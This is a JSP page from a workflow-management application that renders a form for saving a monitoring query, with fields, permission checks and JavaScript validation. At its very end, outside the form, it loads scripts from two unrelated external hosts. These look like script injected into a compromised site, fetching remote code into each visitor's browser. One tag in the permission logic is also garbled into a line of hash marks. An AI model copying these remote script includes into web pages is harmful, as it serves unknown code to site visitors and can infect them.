<%
/*
 * @(#)EditDmsSaveQuery.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */
/**
  EditDmsSaveQuery.jsp

  This class is reflecting business logic uses.

    @author           dick xie
    @company          DCIVision Limited
    @creation date    21/11/2004
    @version          $Revision: 1.17.2.18 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>
<%@ page import="com.dcivision.alert.bean.* "%> <%@ page
import="com.dcivision.workflow.bean.* "%> <%@ page
import="com.dcivision.workflow.core.* "%> <%@ page
import="com.dcivision.workflow.dao.* "%> <%@ page
import="com.dcivision.workflow.web.* "%>  
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowMonitoringForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowMonitoringForm"/>

<%
// Set the function code for further permission process.
request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);
%>

</head>

<html:form method="POST" type="listWorkflowMonitoringForm" action="workflow/ListWorkflowMonitoring"  onsubmit="return(false);" styleClass="form-style-2">
<html:javascript formName="listWorkflowMonitoringForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<script language="javascript">
<!--

function CusSaveCurrentQuery(frm,par1,par2) {
  if(document.listWorkflowMonitoringForm.queryName.value==''){
    alert("<bean:message key='dms.label.query_name'/> is required!");
    return true;
  }
  
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.listWorkflowMonitoringForm.queryName, invalidChars, "<bean:message key='dms.label.query_name'/> " + errorMessage)){
    return (true);
  }
  
  if(document.listWorkflowMonitoringForm.queryDescription){   
    var len = document.listWorkflowMonitoringForm.queryDescription.value.length;
    if(len>255){
      alert("<bean:message key='workflow.query.description_length'/>");
      return true;      
    }
  }  
  document.listWorkflowMonitoringForm.generateExcel.value = "S";  
  return OpList(frm,par1,par2);
}
function CustOpEdit(){
  document.listWorkflowMonitoringForm.opMode.value="";
   document.listWorkflowMonitoringForm.generateExcel.value = "E";
  document.listWorkflowMonitoringForm.submit();
 
  return(false);
}

-->
</script>
<%
boolean canInsert = false;
boolean canEdit   = false;
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>


<html:hidden property='taskType'/>
<html:hidden property='priority'/>
<html:hidden property='datePeriodFrom'/>
<html:hidden property='datePeriodTo'/>
<html:hidden property='status'/>
<html:hidden property='workflowCategoryID'/>
<html:hidden property='submitter'/>
<html:hidden property='workflowRecordID'/>
<html:hidden property="actionTaker"/>
<html:hidden property='trackID'/>
<html:hidden property='stepName'/>
<html:hidden property='stageName'/>
<html:hidden property='relatedObject'/>
<html:hidden property='workflowDescription'/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="queryID"/>
<html:hidden property="periodType"/>
<html:hidden property="periodTimes"/>
<html:hidden property="periodTimeType"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="attachmentName"/>
<html:hidden property="taskComment"/>
<input type=hidden name="generateExcel" >




<!-- Page Title Section -->
<layout:popupTitle titleKey ="dms.label.query_save"/>
  <div class="tabContainer">
   <div id="basicTab" class="tabContent" style="display:block;height:250px;">
   <table width="100%">
    <!-- Section Header -->
	 <layout:sectionHeader blackLine="false"/>
     <tr><td colspan="2"></td></tr>
    <!-- User Defined Field Selection -->
<%if(!GlobalConstant.NAV_MODE_VIEW.equals(listWorkflowMonitoringForm.getNavMode())){%>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='dms.label.query_name'/>:&nbsp;</td>
      <td class='formFieldSmall'><html:text property="queryName" size="50" maxlength="100" styleClass="form-style-2-auto-textfield"/>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='dms.label.query_desc'/>:&nbsp;</td>
      <td class="formFieldSmall"><html:textarea property="queryDescription" cols="40" rows="3" styleClass="form-style-2-auto-textarea"/></td>
    </tr>
    <tr>
      <td class="formLabelSmall" ><bean:message key="dms.label.query_type"/>:&nbsp;</td>
      <td class="formFieldSmall" >
           <html:radio property="queryType" onclick="return true" value="P"/><bean:message key="workflow.label.query_public"/>&nbsp;
           <html:radio property="queryType" onclick="return true" value="PR"/><bean:message key="workflow.label.query_private"/>
       </td>
    </tr>
    <%if (!Utility.isEmpty(listWorkflowMonitoringForm.getQueryID())) {
      listWorkflowMonitoringForm.setOpType("E");
    }%>
    <tr>
      <td class="formLabelSmall" ><bean:message key="workflow.label.query_operation_type"/>:&nbsp;</td>
      <td class="formFieldSmall" >
           <logic:permission right='I'>
           <html:radio property="opType" onclick="return true" value="N"/>
           <html:radio property="opType" onclick="return true" value="N" disabled="true"/>
           </logic:permission>
           <bean:message key="workflow.label.query_op_new"/>&nbsp;
           <%if (Utility.isEmpty(listWorkflowMonitoringForm.getQueryID())) {%>
           <html:radio property="opType" onclick="return true" value="E"  disabled="true"/>
           <%} else {%>
		   <logic:permission right='E'>
           <html:radio property="opType" onclick="return true" value="E"/>
		   <html:radio property="opType" onclick="return true" value="E"  disabled="true"/>
		   </logic:permission>
           <%}%>
           <bean:message key="workflow.label.query_op_edit"/>

       </td>
    </tr>

   <%}else{%>
    <tr>
      <td class="formLabelSmallMan"><bean:message key='dms.label.query_name'/>:&nbsp;</td>
      <td class='formFieldSmall'><bean:write name="listWorkflowMonitoringForm" property="queryName"/>
      <html:hidden property="queryName"/>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='dms.label.query_desc'/>:&nbsp;</td>
      <td class="formFieldSmall"><bean:write name="listWorkflowMonitoringForm" property="queryDescription"/></td>
       <html:hidden property="queryDescription"/>
    </tr>
    <tr>
      <td class="formLabelSmallMan"><bean:message key="dms.label.query_type"/>:&nbsp;</td>
      <td class="formFieldSmall">
           <%if("P".equals(listWorkflowMonitoringForm.getQueryType())){%>
             <bean:message key="workflow.label.query_public"/>
           <%}else{%>
             <bean:message key="workflow.label.query_private"/>
           <%}%>
       </td>
        <html:hidden property="queryType"/>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key="workflow.label.query_operation_type"/>:&nbsp;</td>
      <td class="formFieldSmall">
         <%if ("N".equals(listWorkflowMonitoringForm.getOpType())) {%>
           <bean:message key="workflow.label.query_op_new"/>&nbsp;
           <%} else if ("E".equals(listWorkflowMonitoringForm.getOpType())) {%>
           <bean:message key="workflow.label.query_op_edit"/>
           <%}%>
       </td>
        <html:hidden property="opType"/>
    </tr>
    <%}%>
      
    <tr>
      <td colspan="2"><html:img src='LayoutSpacer.gif'  height='8'/></td>
    </tr>
    <tr>
	</table>
	</div>
	</div>
	
    <div id="bottomButtonArea">
    <div id="buttonSection">  
    <%if(!GlobalConstant.NAV_MODE_VIEW.equals(listWorkflowMonitoringForm.getNavMode())){%>
	   
	   <logic:permission right='I'>
	     <html:standardButton label="common.label.confirm" onClick="return(CusSaveCurrentQuery(listWorkflowMonitoringForm,'${listWorkflowMonitoringForm.sortAttribute}', '${listWorkflowMonitoringForm.sortOrder}'))"/>
	     <##########>
         <html:permissionButton label="common.label.confirm" right="E" onClick="return(CusSaveCurrentQuery(listWorkflowMonitoringForm,'${listWorkflowMonitoringForm.sortAttribute}', '${listWorkflowMonitoringForm.sortOrder}'))"/>
         </logic:permission>
    <%} else {%>
       <html:standardButton label="common.label.edit" onClick="return CustOpEdit()"/>
       <%}%>
       <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </div>
	</div>

</html:form>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>